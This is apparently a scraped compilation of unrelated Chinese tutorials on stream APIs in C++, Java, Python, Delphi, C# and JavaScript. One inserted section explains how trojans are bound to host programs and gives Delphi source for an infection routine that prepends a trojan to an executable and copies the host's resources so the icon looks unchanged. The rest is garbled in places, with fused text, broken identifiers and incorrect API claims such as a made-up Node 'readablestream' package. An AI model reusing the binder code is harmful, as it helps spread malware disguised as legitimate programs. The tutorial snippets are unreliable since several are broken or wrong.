Value_Stream_RevD
C++二进制输入输出流接口设计
C++二进制输入输出流接口设计提到输入输出流，作为CPPer很自然的就会想到std::iostream，对于文本流的处理，iostream 可以说足够强大，应付一般复杂度的需求毫无压力。
对二进制流处理却只能用“简陋”来形容，悲催的是，作为一个在多媒体软件领域默默耕耘多年的码农日常打交道最多的偏偏就是二进制流。
前些年流行过一本书叫做什么男人来自火星女人来自金星之类的，同样的，如果说文本流来自火星那二进制流就是来自金星。
对一个文本流，我们可能期望这样的接口函数：1string text=stream.get_line();//基础接口2string word=stream.get_word();//增强接口而对二进制流，我们期望的接口可能是这个样子的：1int read_bytes=stream.read(buffer,size);//基本接口2int value=stream.read_int32();//增强接口做为iostream灵魂的插入/提取运算符("<<"/">>")重载对文本流来说是神一般的存在，但在二进制流中却完全无法使用，因为二进制流需要精确到byte（甚至bit）的控制，所以会有下面这样的接口：int v1=stream.read_uint16();//读取short intint v2=stream.read_int16();//读取unsigned short intint v3=stream.read_uint24();//读取3字节无符号整型，没错是3字节24位int v4=stream.read_int24();//想想这个函数有多变态！基于编译期推导的运算符重载很难满足类似的需求。
在我看来，把两类方法合并在同一个类中是得不偿失的，核心需求几乎没什么相似之处，非核心的需求则无关紧要，而且基本上不会有既是文本流又是二进制流的情况出现。
java的steam流用法
java的steam流用法Java中的Stream API是一种用于处理数据流的强大工具，它能够帮助你以声明性方式处理数据，使得你的代码更加简洁、易于理解和维护。
以下是Java的Stream流的一些基本用法：1. 创建Stream：在Java中，你可以通过多种方式创建Stream，例如从集合、数组中创建，或者通过Stream的of()方法直接创建。
javaList<String> list = Arrays.asList("a", "b", "c");Stream<String> stream = list.stream();2. 转换操作：Stream API提供了多种转换操作，如map()、filter()、sorted()等。
这些操作返回一个新的Stream，包含经过转换的元素。
javaStream<String> upperCaseStream = stream.map(String::toUpperCase);3. 聚合操作：这类操作如reduce()、collect()等，可以将Stream的元素聚合到一起，得出一个结果。
javaint sum = numbers.stream().mapToInt((x) -> x).sum();4. 终端操作：这类操作如forEach()、toArray()等，会结束Stream的操作，并产生结果或者副作用。
javaupperCaseStream.forEach(System.out::println);使用Java的Stream流有几个显著的优点。
首先，它让代码更简洁，通过链式调用多个操作，你可以在一行代码中完成复杂的数据处理。
其次，它提高了代码的可读性和可维护性，由于Stream API的声明性特性，你的代码会更容易被其他人理解。
最后，它还提高了性能，因为Stream API可以并行处理数据，充分利用多核处理器的性能。
.stream()的用法
.stream()的用法`.stream()` 是Java 8 中引入的一个方法，用于将集合（如List、Set 等）转换为一个流（Stream）。
流是Java 8 中引入的一个新特性，它允许你以声明式方式处理数据集合，比如过滤、映射、排序等。
下面是`.stream()` 方法的一些常见用法：1. **过滤元素**：使用`filter()` 方法来过滤流中的元素。
例如，从整数列表中过滤出所有的偶数：```javaList<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);List<Integer> evenNumbers = numbers.stream().filter(n -> n % 2 == 0).collect(Collectors.toList());```2. **映射元素**：使用`map()` 方法将流中的元素映射到另一个对象。
例如，将整数列表中的每个元素都乘以2：```javaList<Integer> doubledNumbers = numbers.stream().map(n -> n * 2).collect(Collectors.toList());```3. **排序元素**：使用`sorted()` 方法对流中的元素进行排序。
例如，对一个字符串列表按长度进行排序：```javaList<String> words = Arrays.asList("apple", "banana", "cherry", "date"); List<String> sortedWords = words.stream().sorted(paringInt(Strin g::length)).collect(Collectors.toList());```4. **查找元素**：使用`findFirst()` 或`findAny()` 方法查找流中的第一个元素。
filestream.read的用法
filestream.read的用法==========在许多编程语言中，文件操作是一个常见的任务。
其中，使用`filestream.read`方法进行文件读取是一种常见的方法。
下面，我们将以Python 为例，介绍`filestream.read`的用法。
一、基本概念------在Python中，`filestream.read`方法用于从文件中读取数据。
文件通常通过文件流（file stream）对象进行操作，这是一个表示文件内容的抽象数据类型。
------------使用`filestream.read`方法，您可以从文件中读取指定数量的字节。
以下是其基本语法：```python```其中，`size`是一个可选参数，表示要读取的最大字节数。
如果不指定`size`，则默认读取整个文件内容。
### 读取整个文件要读取整个文件，您可以使用以下代码：```pythonwith open('filename.txt', 'r') as file_stream:content = file_stream.read()```这将打开名为`filename.txt`的文件，并使用`read()`方法读取其内容。
读取的内容将存储在变量`content`中。
### 按行读取文件如果您只想按行读取文件，可以使用以下代码：```pythonwith open('filename.txt', 'r') as file_stream:lines = file_stream.readlines()```这将逐行读取文件内容，并将每一行存储在列表`lines`中。
### 读取指定数量的字节如果您只想读取指定数量的字节，可以使用以下代码：```pythonwith open('filename.txt', 'r') as file_stream:data = file_stream.read(1024) # 读取前1024个字节```这将打开文件并使用`read()`方法读取前1024个字节的数据。
数据存储到流几种形式（数据流
数据存储到流⼏种形式（数据流 TStream）1. 字符串存储到数据流s:string;l:=length(s);Stream.WriteBuffer(Pointer(s)^,length(s) );//字符串地址及长度读取字符串Text:string;SetString(Text, nil, iLen);Stream.Read(Pointer(Text)^, iLen);2.基本数据类型格式都是:数值,字节⼤⼩Stream.Write(ivalue, SizeOf(Integer));//整型Stream.Write(bValue, SizeOf(boolean));//布尔型读取Stream.Read(iLen, sizeof(Integer));3.结构体存储typeTDataHead=recordid:integer;name:string[12];bValue:boolean;dvalue:double;end;pTDataHead=^TDataHead;//结构体指针varDataHead:TDataHead;pDataHead:pTDataHead;//指针Stream.WriteBuffer(DataHead, sizeof(TDataHead));//结构体Stream.WriteBuffer(pDataHead^, sizeof(TDataHead));//结构体指针需要说明的是:结构体套结构体,依然可以使⽤上述⽅法存储到数据流内, 反向读取后,数据完整,不会有错误读取Stream.Read(DataHead, sizeof(TDataHead));//结构体Stream.Read(pDataHead^, sizeof(TDataHead));//结构体指针4.数据流存储到流⾥TargetStream.CopyFrom(SourceStream, isize);//isize=0,SourceStream所有数据全部存储到TargetStream>0 SourceStream内isize字节数据存储到TargetStream内TargetStream.WriteBuffer(SourceStream^, isize);//isize 同上。
System.IO.StreamReader 的 10个构造函数、20个方法、1个字段和3个属性
Read(Char[], Int32, Int32)
从index 开始，从当前流中将最多的count 个字符读入buffer。（重写TextReader.Read(Char[], Int32, Int32)。）
ReadBlock
从当前流中读取最大count 的字符并从index 开始将该数据写入buffer。（继承自TextReader。）
System.IO.StreamReader 的 10个构造函数、20个方法、1个字段和3个属性
StreamReader的构造函数
StreamReader(Stream)
为指定的流初始化StreamReader 类的新实例。
StreamReader(String)
StreamReader(String, Boolean)
为指定的文件名初始化StreamReader 类的新实例，带有指定的字节顺序标记检测选项。
StreamReader(String, Encoding)
用指定的字符编码，为指定的文件名初始化StreamReader 类的一个新实例。
创建一个对象，该对象包含生成用于与远程对象进行通信的代理所需的全部相关信息。 （继承自MarshalByRefObject。）
DiscardBufferedData
允许StreamReader 对象丢弃其当前数据。
Dispose()
释放由TextReader 对象占用的所有资源。（继承自TextReader。）
ReadLine
从当前流中读取一行字符并将数据作为字符串返回。 （重写TextReader.ReadLine()。）
ReadToEnd
从流的当前位置到末尾读取流。 （重写TextReader.ReadToEnd()。）
streamreader reader 读最后一行
主题：C#中使用StreamReader类读取文本文件最后一行的方法内容：1. 介绍StreamReader类的作用和基本用法StreamReader是C#中用于读取文本文件的类，它提供了一种便捷的方式来逐行读取文本文件的内容。
使用StreamReader类可以方便地进行文本文件的读取操作，包括读取最后一行的内容。
2. 使用StreamReader类打开文本文件在使用StreamReader类读取文本文件之前，首先需要通过其构造函数打开一个文本文件。
使用StreamReader的构造函数可以指定要打开的文本文件的路径，以及所使用的编码方式。
3. 逐行读取文本文件内容一旦打开了文本文件，就可以使用StreamReader的ReadLine方法逐行读取文本文件的内容。
通过循环调用ReadLine方法，可以逐行读取整个文本文件的内容。
4. 读取最后一行的方法在读取文本文件的最后一行时，可以借助StreamReader的EndOfStream属性和ReadLine方法来实现。
首先循环调用ReadLine方法，将每一行的内容保存到一个变量中，直到EndOfStream属性为true，这时就可以得到文本文件的最后一行内容。
5. 示例代码下面是使用StreamReader类读取文本文件最后一行的示例代码：```csharpstring filePath = "D:\\test.txt";string lastLine = string.Empty;using (StreamReader reader = new StreamReader(filePath)) {string line;while ((line = reader.ReadLine()) != null){lastLine = line;}}Console.WriteLine("最后一行的内容是：" + lastLine);```6. 总结使用StreamReader类读取文本文件最后一行的方法可以通过循环调用ReadLine方法，并保存每一行的内容，直到EndOfStream属性为true来实现。
stream流allmatch用法
Stream流是Java 8引入的一个重要特性，它可以方便地对集合进行操作和处理。
而stream的allMatch方法则是用来判断流中的所有元素是否都满足指定的条件。
下面我将从深入浅出的角度来介绍stream 流的allMatch用法。
1. 什么是Stream流Stream流是Java 8中新增的一个抽象概念，它代表着对集合进行一系列操作的流水线。
通过stream流，我们可以在集合上进行过滤、映射、排序、归约等操作，而不需要使用繁琐的迭代器或循环语句。
这极大地简化了集合的处理过程，提高了代码的可读性和效率。
2. Stream流的allMatch用法allMatch方法是Stream流中的一个终端操作，用来判断流中的所有元素是否都满足指定的条件。
其方法签名为：booleanallMatch(Predicate<? super T> predicate)，其中Predicate是一个函数式接口，用来定义判断条件。
若流中的所有元素都满足该条件，则返回true；否则返回false。
3. 深入理解allMatch用法在实际应用中，allMatch方法经常用来检查流中的元素是否都满足某一条件。
在一个学生成绩的集合中，我们可以使用allMatch方法来判断是否所有学生的成绩都大于60分，以决定是否给予班级表扬。
在这个例子中，我们可以使用Lambda表达式来传递判断条件，让代码更加简洁和易读。
4. 总结与回顾通过本文的介绍，我们深入了解了Stream流的allMatch方法的用法和意义。
它为我们提供了一种简洁而高效的方式来判断集合中的元素是否满足特定条件，使得我们的代码变得更加优雅和易于维护。
在日常的Java开发中，熟练掌握stream流的各种操作方法，包括allMatch，将极大地提高我们的开发效率和代码质量。
个人观点：我个人认为，Stream流是Java 8中非常实用和强大的特性之一，它极大地简化了对集合的处理过程，为我们编写高效、清晰的代码提供了强有力的支持。
readablestream解析
readablestream解析摘要：1.什么是ReadableStream2.ReadableStream 的优缺点3.ReadableStream 的应用场景4.如何使用ReadableStream5.ReadableStream 的实现原理6.ReadableStream 与其他流解析库的比较7.总结正文：1.什么是ReadableStreamReadableStream 是Node.js 中的一个流解析库，它可以将复杂的数据结构转换为可读流，使得数据处理更加方便。
ReadableStream 的主要目标是提供一种可扩展、可组合的流解析方式，以便更好地处理不同类型的数据。
2.ReadableStream 的优缺点优点：- ReadableStream 具有较高的灵活性和可扩展性，可以轻松地处理各种类型的数据。
- ReadableStream 提供了丰富的API，方便用户进行数据处理和操作。
- ReadableStream 支持多种数据转换方式，如JSON、XML 等，满足不同需求。
缺点：- ReadableStream 的学习曲线相对较陡峭，对于初学者可能不太友好。
- 在某些情况下，ReadableStream 的性能可能不如其他解析库。
3.ReadableStream 的应用场景ReadableStream 广泛应用于Node.js 中的数据处理、API 接口调用等领域。
例如，当需要从一个远程服务器获取JSON 格式的数据时，可以使用ReadableStream 进行解析，然后根据需要对数据进行处理。
4.如何使用ReadableStream使用ReadableStream 首先需要安装相应的依赖包，然后通过引入ReadableStream 模块，创建一个ReadableStream 实例，并调用相应的方法进行数据解析。
以下是一个简单的示例：```javascriptconst { ReadableStream } = require("readablestream");const stream = new ReadableStream({objectMode: true,highWaterMark: 10,});stream.push({ key: "value" });stream.push({ key2: "value2" });stream.pipe(process.stdout);```5.ReadableStream 的实现原理ReadableStream 的实现原理主要基于Node.js 的流（Stream）机制。
.stream()的用法
.stream()的用法.stream()是Java 8引入的一个方法，它可以将集合或数组转换为一个流（Stream）。
流是一种用于处理集合数据的抽象概念，它可以对数据进行过滤、映射、排序、归约等操作。
使用.stream()方法可以在集合或数组上创建一个流。
例如，对于一个List集合，可以使用list.stream()方法来创建一个流。
对于一个数组，可以使用Arrays.stream(array)方法来创建一个流。
流的使用有以下几个方面：1. 过滤(Filter)，可以使用流的filter()方法对元素进行条件过滤。
比如，对一个整数集合的流进行过滤，只保留大于10的元素。
2. 映射(Map)，可以使用流的map()方法对元素进行转换。
比如，对一个字符串集合的流进行映射，将每个字符串转换为大写形式。
3. 排序(Sort)，可以使用流的sorted()方法对元素进行排序。
比如，对一个整数集合的流进行排序，可以按照升序或降序排列。
4. 归约(Reduce)，可以使用流的reduce()方法对元素进行归约操作，将流中的多个元素合并为一个结果。
比如，对一个整数集合的流进行求和操作，可以将所有元素相加得到一个结果。
5. 遍历(ForEach)，可以使用流的forEach()方法对流中的每个元素进行遍历操作，可以执行指定的操作或打印每个元素。
6. 统计(Statistics)，可以使用流的count()、min()、max()、average()等方法对流中的元素进行统计操作，比如计算元素个数、最小值、最大值、平均值等。
总之，.stream()方法提供了一种更简洁、灵活的方式来处理集合或数组中的元素。
通过流的各种操作，可以实现对数据的高效处理和转换，使代码更加简洁、可读性更高。
streamingreader.builder 原理
streamingreader.builder 原理streamingreader.builder 是一个Python 库，用于构建流式读取器（streaming reader）。
它的原理是使用生成器（generator）和协程（coroutine）来实现流式读取和处理大型数据集的功能。
首先，使用streamingreader.builder 提供的函数`build_streaming_reader` 来构建一个流式读取器。
该函数会接收一个可迭代对象（比如一个大型文件）和一个指定的批次大小（batch size）作为参数，并返回一个生成器对象（generator object）。
生成器对象将按照批次大小逐批次读取数据，并通过yield 语句将每个批次的数据返回给调用方。
这样就实现了逐批次读取数据的流式读取功能。
然后，用户可以通过迭代生成器对象来逐一处理每个批次的数据。
这也可以使用生成器来实现。
用户可以定义一个生成器函数，该函数接收一个批次数据作为参数，并执行一系列处理操作，然后通过yield 语句返回处理结果。
在迭代生成器对象时，每次迭代都会触发用户定义的生成器函数，并将当前批次数据传递给它。
该函数会对批次数据进行处理，并通过yield 语句返回处理结果。
这样就实现了逐一处理每个批次数据的流式处理功能。
总结起来，streamingreader.builder 的原理就是使用生成器和协程来实现流式
读取和处理大型数据集的功能。
它将大型数据集分批次读取，并逐一处理每个批次的数据，从而实现高效的流式处理操作。
readable-stream用法
readable-stream用法readable-stream是一个Node.js模块，提供了可读流的实现。
可读流用于从源（如文件、网络连接等）中读取数据。
使用readable-stream的基本步骤如下：1. 首先，需要通过`require`语句引入readable-stream模块。
```javascriptconst { Readable } = require('readable-stream');```2. 然后，创建一个可读流的子类，扩展`Readable`类，并实现`_read`方法。
```javascriptclass MyReadable extends Readable {_read(size) {// 从源中读取数据，并使用`push`方法将数据推送给可读流 // 当没有更多数据可读时，使用`push(null)`表明数据已经被完全读取}}```3. 实例化可读流子类，并通过`pipe`方法将其连接到其他流。
```javascriptconst myReadable = new MyReadable();myReadable.pipe(destination);```4. 在`_read`方法中实现数据读取逻辑。
可以在每次调用`_read`时按需读取数据，并使用`push`方法将数据推送给可读流。
```javascriptclass MyReadable extends Readable {_read(size) {// 从源中读取数据，并使用`push`方法将数据推送给可读流 const data = readDataFromSource(size);this.push(data);// 当没有更多数据可读时，使用`push(null)`表明数据已经被完全读取if (noMoreData) {this.push(null);}}}```这是readable-stream的基本用法。
axis error reading xmlstreamreader
axis error reading xmlstreamreader一、问题概述在处理XML数据时，我们可能会遇到“axis error reading xmlstreamreader”的错误。
这个错误通常与Apache Axis库在读取XMLStreamReader时发生问题有关。
XMLStreamReader是用于处理XML数据的Java类，通常在Web服务开发中使用。
二、问题原因出现此错误的原因可能有以下几种：1. XML数据格式不正确或不符合预期。
2. XMLStreamReader对象创建失败，可能是由于读取的数据流不完整或格式不正确。
3. 使用的Apache Axis版本与Java环境或其他依赖项不兼容。
4. 内存溢出或其他系统资源问题。
三、解决方案针对上述可能的原因，我们可以采取以下解决方案：1. 检查XML数据：确保XML数据的格式正确，没有遗漏的元素或属性。
可以使用XML验证工具进行验证。
2. 确保正确创建XMLStreamReader对象：确保在创建XMLStreamReader对象时，使用了正确的数据流。
如果数据流不完整或格式不正确，可能导致对象创建失败。
3. 更新Apache Axis版本：如果是版本问题，考虑更新到最新版本或回退到一个已知稳定的版本。
4. 检查系统资源：确保系统有足够的内存和其他资源来处理XML 数据。
如果有内存溢出或其他资源问题，可能需要优化代码或调整系统配置。
5. 捕获异常并进行处理：在代码中添加适当的异常处理逻辑，以便在发生错误时能够获取更多信息，从而进行故障排除。
6. 逐步调试：通过逐步执行代码，逐行检查数据流和XMLStreamReader对象的创建过程，以确定问题的具体位置。
四、示例代码为了便于理解，下面提供一段简单的示例代码，用于创建XMLStreamReader对象并处理XML数据。
请注意，这只是一个简单的示例，实际应用中可能需要进行更复杂的处理：```javaimport javax.xml.stream.*;import java.io.*;public class XmlProcessingExample {public static void main(String[] args) {try {// 读取XML数据流InputStream inputStream = new FileInputStream("example.xml");XMLInputFactory factory = XMLInputFactory.newInstance();XMLStreamReader reader = factory.createXMLStreamReader(inputStream);// 处理XML数据...// 确保正确关闭XMLStreamReader对象 reader.close();} catch (Exception e) {e.printStackTrace();}}}```请注意，上述代码仅用于说明目的，实际应用中需要结合具体需求进行适当的修改和错误处理。
readablestream解析
readablestream解析readableStream是JavaScript中一个非常实用的流式处理工具，它提供了一种简单的方法来读取和操作数据。
本文将详细介绍readableStream的用法、特点以及常见应用场景。
readableStream是StreamAPI的一部分，它允许开发者以流的方式处理数据，从而实现异步数据读取和处理。
readableStream主要用于从外部源（如文件、网络请求等）读取数据，并将数据逐块传递给处理函数，从而实现数据的逐块处理。
创建readableStream非常简单，只需要使用构造函数`ReadableStream`并传入一个源对象即可。
源对象可以是文件对象、XMLHttpRequest对象、HTTP请求对象等。
例如，以下代码创建了一个从文件中读取数据的readableStream：```javascriptconststream=newReadableStream({start(controller){constfile=newFile([fs.readFileSync('data.txt')],{type:'te xt/plain'});stream.connection=controller.enqueue(file);}});```创建了readableStream之后，就可以使用`controller.read()`方法来读取数据。
该方法返回一个Promise对象，用于获取下一个可读块。
当没有更多可读块时，Promise会返回`undefined`。
同时，可以使用`controller.close()`方法来结束流的读取。
此外，还可以使用transformingSpliterator来对数据进行转换和处理。
transformingSpliterator提供了`next()`方法来获取下一个可读块，同时也可以通过自定义实现来对数据进行转换和处理。
java中stream流的用法
Java中Stream流的用法介绍Stream是Java 8中引入的一个新的API，用于对集合中的元素进行各种操作。
它可以让我们以一种声明式的方式处理数据，提供了更简洁、更高效的编程方式。
本文将详细介绍Java中Stream流的用法。
Stream的基本特性•Stream是用来对集合进行处理的工具，它并不存储数据，而是通过函数式编程的方式对数据进行操作。
•Stream的操作分为两类：Intermediate（中间操作）和Terminal（终端操作）。
•Intermediate操作是对数据进行处理、转换或过滤等操作，它们可以被连接起来形成一个操作链。
•Terminal操作是对Intermediate操作链进行执行的操作，它会返回一个结果或一个最终的数据。
创建Stream要使用Stream，首先需要将一个数据源（如集合、数组等）转换为Stream。
在Java中，可以通过以下几种方式来创建Stream：1. 通过集合创建Stream可以通过集合的stream()方法将集合转换为Stream。
例如：List<String> list = Arrays.asList("a", "b", "c", "d");Stream<String> stream = list.stream();2. 通过数组创建Stream可以通过Stream.of()方法来创建一个包含数组元素的Stream。
例如：String[] array = {"a", "b", "c", "d"};Stream<String> stream = Stream.of(array);3. 通过数值范围创建Stream可以使用IntStream、LongStream或DoubleStream来创建包含特定范围内数值的Stream。
java的stream用法
java的stream用法JavaStream是Java8新加入的特性，它允许开发者以一种声明式的方式来处理集合，提供了函数式编程的功能。
本文将介绍Stream 的基础用法，包括创建Stream的方式、常用的操作、Stream的聚合操作和并行流操作。
一、Stream的创建1. 从现有的集合中创建Stream通过Collection.stream()方法可以从现有的集合类中获取一个Stream实例，通过流式处理可以将集合中的数据进行过滤、映射或聚合，从而得到一个新的集合。
如：List<String> strList = Arrays.asList(Jack Ben TomStream<String> strStream = strList.stream();2. Stream的静态工厂Java 8提供的静态工厂可以创建各种类型的Stream，如IntStream、LongStream和DoubleStream等，这些静态工厂可以根据开发者的需要提供不同的便捷方式来创建Stream实例。
如：IntStream intStream = IntStream.range(0，10);LongStream longStream = LongStream.of(1L，2L，3L，4L，5L);二、Stream的操作Stream提供了一些非常方便的操作，包括filter、map、count等。
1. filter操作filter操作可以按照设定的条件对数据进行过滤，返回结果为布尔值 true false。
如：Stream<String> strStream = strList.stream();strStream.filter(str -> str.startsWith(J);//回 Jack2. map操作map操作可以将一个Stream的元素转换为另一种类型的元素，如String -> Integer，数字 ->符串等。
memorystream 的正确用法
memorystream 的正确用法MemoryStream是.NET Framework提供的一个类，用于在内存中操作二进制数据流。
它提供了一个可扩展的内存缓冲区，可以将数据读取到内存中，也可以从内存中写入数据。
在本文中，我们将讨论MemoryStream 的正确用法，并提供一些示例来展示如何最大化地利用它。
第一步：创建MemoryStream对象要使用MemoryStream，首先要创建一个MemoryStream对象。
可以使用其无参数构造函数进行创建，也可以使用提供初始容量的构造函数创建。
如果已经知道将要存储的数据大小，建议使用提供初始容量的构造函数，以避免不必要的内存调整。
以下是创建MemoryStream对象的示例代码：MemoryStream stream = new MemoryStream();或者可以指定初始容量：MemoryStream stream = new MemoryStream(1024);第二步：向MemoryStream写入数据创建MemoryStream对象后，可以使用Write方法向其写入数据。
Write 方法有多个重载形式，可以写入字节数组、部分字节数组或单个字节。
以下是向MemoryStream写入数据的示例代码：byte[] buffer = Encoding.UTF8.GetBytes("Hello, World!"); stream.Write(buffer, 0, buffer.Length);在上述示例中，我们将字符串"Hello, World!"转换为字节数组，并使用Write方法将其写入到MemoryStream对象中。
第三步：读取MemoryStream中的数据写入数据后，我们可以使用Read方法从MemoryStream中读取数据。
Read方法也有多个重载形式，可以读取指定长度的字节数组、读取整个MemoryStream或读取单个字节。
病毒木马程序的感染和捆绑方式
最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式我只和大家探讨两种方式一种是附加的方式，一种是内嵌式第一种方式就是将木马程序附加在别的程序头部也就是说运行的目标程序是木马然后木马程序将原程序解压出来再运行听说熊猫烧香的程序用的就是这种方法这种方式有缺点也有优点优点是：可以捆绑任何程序缺点是：运行时需要把目标程序给拷贝出来然后然后再运行真正的程序这种方法容易使人察觉出来被捆绑，并且如果目标程序大的话运行速度会比较慢实现方法：(Demo下载)如果不改变图标，实现方法是非常简单的。
用文件流的方式把目标程序写在木马程序后面这里提供修改图标的实现方法，就是替换目标程序里的所有资源,如果资源文件被压缩，捆绑将出错(目前网络上有很多获取图标的方法，比如用ExtractIcon获取目标程序中的图标这种方法读取出来的图标和原程序的图标是有差别的。
就是颜色会浅一点，让人一看就知道程序可能被捆绑过了)请勿用于病毒传播，这里只贴出核心代码【全文】function Align(Size, AlignBase: integer): Integer;beginif Size mod AlignBase <> 0 thenResult := (Trunc(Size / AlignBase) + 1) * AlignBaseelseResult := Size;end;procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);varI:integer;DosHeader: TImageDosHeader;NTHeader: TImageNtHeaders; {NtHeader}dRead: DWORD;beginSetFilePointer(AFHandle, 0, nil, FILE_BEGIN);ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);//非PE 退出if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);//非PE 退出if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 dobeginReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress thenbeginSetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);SetLength(AStream, ASectionHeader.SizeOfRawData);ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);Exit;end;end;end;function StripHighBit(L: Longint): DWORD;beginResult := L and $7FFFFFFF;end;function HighBitSet(L: Longint): Boolean;beginResult := (L and $80000000) <> 0;end;function IsDirectory(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;beginResult := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);end;function ResourceDataEntry(ResourceDirectoryEntryImageResourceDirectoryEntry; BaseEntry: DWORD)ImageResourceDataEntry;beginResult := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);end;function FixRsrc(ResourceDirectoryImageResourceDirectory; BaseEntry,OldV A, NewVA: DWORD):boolean;varI: Integer;ResourceDirectoryEntryImageResourceDirectoryEntry;Data: PImageResourceDataEntry;beginResult := True;ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)+ SizeOf(TImageResourceDirectory));for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 dobeginif IsDirectory(ResourceDirectoryEntry, BaseEntry) thenbegin{目录递归调用，把下级的资源列出来}FixRsrc(PImageResourceDirectory(StripHighBit(ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),BaseEntry, OldV A, NewVA);endelsebegin{资源}Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);//修正RV AData^.OffsetToData := Data^.OffsetToData - OldV A + NewV A;end;inc(ResourceDirectoryEntry);end;end;function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;varF,F1,F2: THandle;dRead: DWORD;fsDes, fsSrc, len, i, lastPos, oldSize: integer;pRsrc,LoadStream: PStream;DosHeader: PImageDosHeader;NTHeader: PImageNtHeaders; {NtHeader}pSH,pSectionHeader: PImageSectionHeader;SectionHeader: TImageSectionHeader;Section: PSections;fectStream : TResourceStream;beginResult := ’’;pRsrc := nil;//打开需要感染的目标文件F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);tryif F = INVALID_HANDLE_VALUE thenbeginResult := ’打开目标文件失败!’;Exit;end;//获取目标程序的资源文件GetRsrcStream(F, pRsrc, SectionHeader);//如果没有资源文件则退出if pRsrc = nil thenbeginResult := ’读取目标文件资源失败!’;Exit;end;//读取附加程序流fectStream := TResourceStream.Create(HInstance,’exe’,’exetype’);tryfsSrc := fectStream.Size;SetLength(LoadStream, fectStream.Size);fectStream.ReadBuffer(LoadStream[0], fectStream.Size);finallyfectStream.Free;end;DosHeader := PImageDosHeader(LoadStream);NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeaderInc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 dobegin//比较是否是指定的节名，如“.rsrc”if Strlicomp(@pSectionHeader^.Name, PChar(’.rsrc’), IMAGE_SIZEOF_SHORT_NAME) = 0 thenbeginoldSize := pSectionHeader^.SizeOfRawData;//修正资源大小pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;pSectionHeader^.Misc := SectionHeader.Misc;break; //找到了，则退出end;Inc(pSectionHeader); //取节表下一项，即当前地址加上Sizeof(TImageSectionHeader)end;//修复资源if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),SectionHeader.VirtualAddress,pSectionHeader^.VirtualAddress) then Exit;NTHeader^.OptionalHeader.DataDirectory[2].Size := SectionHeader.Misc.VirtualSize;NTHeader^.OptionalHeader.SizeOfImage :=+ Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.Opt ionalHeader.SectionAlignment);F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);tryif F1 = INVALID_HANDLE_VALUE thenbeginResult := ’创建新文件失败!’;Exit;end;F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);if F2 = INVALID_HANDLE_VALUE thenbeginResult := ’读取目标文件失败!’;Exit;end;fsDes := GetFileSize(F, nil);Section := PSections(@LoadStream[$70]);Section^.GUID := $58585858;Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize); fsSrc := GetFileSize(F2, nil);Section^.FirstSize := fsSrc;Section^.LastOffset := Section^.FirstOffset + fsSrc;Section^.LastSize := fsDes;//写入头部文件WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil); WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);repeatReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);WriteFile(F1, LoadStream[0], dRead, dRead, nil);until dRead = 0;SetFilePointer(F, 0, nil, FILE_BEGIN);ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil); WriteFile(F1, LoadStream[0], dRead, dRead, nil);until dRead = 0;finallyCloseHandle(F2);end;finallyCloseHandle(F1);end;finallyCloseHandle(F);SetLength(LoadStream, 0);SetLength(pRsrc, 0);end;end;第二程度方式就是将代码内嵌到目标程序。
stream的用法总结大全2篇
stream的用法总结大全stream的用法总结大全精选2篇（一）stream是一种用于处理集合的概念，它可以让我们以声明性的方式对集合进行各种操作。
Java中的Stream用于对集合对象进行高效且函数式的操作，它提供了一种更简洁、更可读且更灵活的方式来处理集合数据。
下面是stream的一些常见用法总结：1. 创建Stream：- 通过集合创建：可以使用`stream()`方法将集合转换为Stream，例如：`List.stream()`、`Set.stream()`等。
- 通过数组创建：`Arrays.stream(array)`。
- 通过值创建：`Stream.of(value1, value2, ...)`。
2. 集合操作：- 过滤：`filter(predicate)`，根据指定的条件过滤集合中的元素。
- 映射：`map(function)`，将集合中的每个元素进行映射操作，并返回一个新的Stream。
